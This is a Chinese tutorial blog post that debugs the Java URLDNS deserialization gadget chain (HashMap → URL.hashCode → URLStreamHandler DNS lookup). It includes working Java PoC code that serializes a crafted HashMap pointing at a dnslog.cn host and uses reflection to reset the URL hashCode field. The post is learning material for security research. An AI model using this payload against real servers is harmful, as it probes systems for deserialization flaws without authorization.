URLDNS链调试

反序列化发掘依据:

1)调用链中使用的类可被序列化

2)调用链中使用的类属性可被序列化

反序列化发掘方法:

1)入口类重写readObject方法

2)入口类可传入任意对象(这种类一般为集合类)

3)执行类可被利用执行危险或任意函数

这条链算是JDK链里最简单的,作为入门可以看看,下面进行正向分析。

(小白们建议使用低版本的JDK去调试这个链,比如JDK8,这样调用反射时不会出现报错)

一、java.util.HashMap(入口类)

(一)入口类

首先说明入口类的概念,在这条链中,入口类可以被理解为JDK中经常被使用的类,并且其继承了Serializable接口、具备readObject方法、readObject方法中会调用一些类以及该类的某种方法(这种方法中可直接或间接调用危险函数)。

(二)分析

1)

这里选中HashMap类,并分析其readObject方法。

首先继承了Serializable接口:

image

重写了readObject方法:

【因为HashMap<K,V>:存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法。】

image
image

2)

我们这里选择分析readObject中调用的hash()方法。进行跟进。

image

可以看到,这里使用传入参数对象keyhashCode方法。由于很多类中都具有hashCode方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M,其hashCode方法中直接或间接可调用危险函数。

带着这种想法去找这么一个类M,最后,找到URL类可作为我们所说的类M(找寻过程需要对JDK很多类进行了解和分析)。

3)

接下来先解决当前问题:确定HashMap在readObject过程中能够正常执行到putVal()方法这里,以及传入hash方法中的参数对象key可控。

首先可以看到,参数对象Keys.readObject()获取

image

其中s为输入的序列化流(证明key可控)

image

其次,要执行这个for循环需要满足这个else if条件

image

而mappings由s.readInt()确定,即mappings的长度,也就是我们将HahsMap序列化前其不为空即可。

二、java.net.URL(调用链中的类)

(一)分析

4)

回到步骤(2)中的URL

跟进URL类的hashCode方法

image

可以看到当hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。

5)

跟进handler对象的hashCode方法

image

确定handler属性中保存的是URLStreamHandler类的实例。并且在调用其hashCode方法时,会执行getHostAddress方法(getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求,详情可以自己跟踪下去这个方法的实现,这里不多赘述)。

所以我们这里的目标就是通过入口类HashMap以及该调用链,实现JDK在反序列化我们构造的对象时,向我们设定好的DNS发起请求。

6)

首先,我们要确认URL类中的属性handler是否初始值不为null、或者可否被序列化(判断能否序列化可以看这个文章https://www.runoob.com/w3cnote/java-transient-keywords.html)。

因为如果初始值不为null,我们就特意去构造创建这么一个URLStreamHandler类的实例;如果为null,但可被序列化,那我们可以构造创建这么一个实例,来使其满足调用链。

image

在此处跟进handler

image

可以看到不满足我们上面期望的两种情况,handler属性不可被序列化、并且值默认为null。这样一来,我们不能保证完全使用这条链。需要进一步确定。

7)

搜索handler被使用的地方(URL类的对象初始化方法中)。

image

可以看到,handler属性通过context.handler来赋值

跟进context

image

显然,这里的context还是URL类的实例,说明这条构造方法通过其他构造方法来调用。

找到调用该构造方法的另一个构造方法:

image

可以看到,刚才的构造方法在这里进行调用,并且传入的handler参数为null

再往上查找,又找到一个构造方法,这里调用了刚才第二个构造方法,并且其构造只有一个传参

image

通过上面的英文注释,可以知道这里的唯一字符串传参,最后可被解析为URL。

8)

所以重新缕一下URL类对应实例的构造过程

通过new URL("http://xxx.xxx")创建实例,构造顺序如下:

image

通过单参数构造方法,调用双参数构造方法,传入的参数context为null

image

又通过双参数构造方法,调用了三参数构造方法,传入的参数context和handler都为null

进入到三参数构造方法:

image
image

来到protocol属性赋值这里,这里的newProtocol在上面字符串截取中已经被赋值,根据上面的spec参数,这里大概应该是http。

image

根据上面代码的执行情况,context还未被赋值,所以这条if语句中,context依然为空,不会执行

接下来的if判断,由于protocol被赋值,第一个if语句不会被执行

image

第二个if语句,此时handler还未被赋值,为null;

接下来的条件与中handler = getURLStreamHandler(protocol),调用了getURLStreamHandler方法给handler赋值。(有兴趣看细节的可以自己跟进这个方法)

然后handler再赋值给了this.handler

至此,确定this.handler在初始化过程中会被赋值,所以我们不用担心步骤(6)中为null的情况。

9)

我们回到步骤(6)中需要的条件

image

我们执行handler.hashCode()需要满足hashCode属性的值为-1

跟进hashCode属性

image

可以看到hashCode值默认为-1,满足条件。

三、java.net.URLStreamHandler(执行类)

这里补充一下执行类这个概念,首先从步骤(5)可以知道,最终执行的危险函数是URLStreamHandler实例的方法getHostAddress()。而URL类只是起到中间者的身份,在这整个链中,HashMap类作为入口类并在readObject时调用了URLhashCode方法,而URL类中的hashCode方法又调用了URLStreamHandler的危险方法。

四、编写和调试

(一)初步编写

10)编写序列化POC

//test1.java
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws IOException {
        URL url = new URL("http://abc.yqev2k.dnslog.cn");

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}

11)编写反序列化代码,模拟服务端反序列化过程

//unser.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class unser {
    public static void main(String[] args) throws Exception {
        FileInputStream fileInputStream = new FileInputStream("./test1.ser");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);

        objectInputStream.readObject();

        objectInputStream.close();
        fileInputStream.close();
    }
}

12)问题

首先,在序列化生成POC的过程完毕后,我们查看DNSlog时,发现DNSlog居然收到了请求(这个请求是来自我们攻击方生成序列化POC时发出的,而不是我们真正想要的、服务端在反序列化过程发出的)

image

显然,在序列化代码中,有步骤调用了URL实例的hashCode方法

13)分析

我们可以下断点调试,也可以自己跟进去分析。

因为这里代码比较少,我们可以直接猜测出来,在执行这一步时,URL实例的hashCode方法被调用了。

image

跟进put方法

image

可以看到这里也会调用hash(key),所以导致了序列化过程对DNSlog进行请求。

14)初步解决

为了避免这一情况,可以利用步骤(4)中的hashCode属性:

在执行put方法前,将URL实例的hashCode属性的值修改为非-1

下面跟进hashCode属性

image

可以看到其修饰符为private,所以我们无法直接进行修改,这需要用到反射的方式。

(如果不理解“反射”的知识需要先去学习)

(二)再次编写

15)调试

import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://abc.6kengh.dnslog.cn");

        Class clazz = Class.forName("java.net.URL");
        Field hashcode = clazz.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,123);

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}

此时,反序列化过程DNSlog已经不会收到查询

image

16)分析

但在服务端反序列化过程中,并没有像预期一样向DNSlog发送查询。

细心的人可以发现到,UR实例的hashCode属性已经修改为非-1,所以在反序列化时不会进入到URLStreamHandler实例的hashCode方法。

为了方便一些人理解,下面设下断点来调试看看:

首先,DNSlog不收到请求,肯定是HashMapreadObject的过程出了问题,所以断点设在其readObject方法上

image

一路Step Over跟进到putVal这里(其实断点设在这更好)

image

Step into,然后选择hash进行Step into

image

可以看到一切都没问题,继续Step into跟进

image

这时,我们看到hashCode属性的值为123,并非-1,所以这就是DNSlog收不到信息的原因。

17)解决

因此,在反射调用修改hashCode的值后,需要在hashmap.put()赋值后面重新将hashCode修改回-1

import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://abc.6kengh.dnslog.cn");

        Class clazz = Class.forName("java.net.URL");
        Field hashcode = clazz.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,123);

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");
        hashcode.set(url,-1);

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}
image

这样一来,模仿的反序列化过程DNSlog可以收到请求

补充

一)

其实步骤(7)(8)(9)的分析过程可以直接用程序证明

image
image

二)整条链的调用

image

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • final修饰的变量会指向一块固定的内存, 这块内存中的值不能改变. 存储过程 禁止使用存储过程,存储过程难以调试...
    lconcise阅读 949评论 0 1
  • 从三月份找实习到现在,面了一些公司,挂了不少,但最终还是拿到小米、百度、阿里、京东、新浪、CVTE、乐视家的研发岗...
    时芥蓝阅读 42,341评论 11 349
  • 前言 本开发规范基于《阿里巴巴Java开发手册终极版》修改,并集成我们自己的项目开发规范,整合而成。 为表示对阿里...
    4ea0af17fd67阅读 5,659评论 0 5
  • 1、Handler: 1):系统Handler的创建过程及相关对象的创建:在ActivityThread的main...
    Steven_SHH阅读 823评论 0 5
  • 阿里巴巴 JAVA 开发手册 1 / 32 Java 开发手册 版本号 制定团队 更新日期 备 注 1.0.0 阿...
    糖宝_阅读 7,637评论 0 5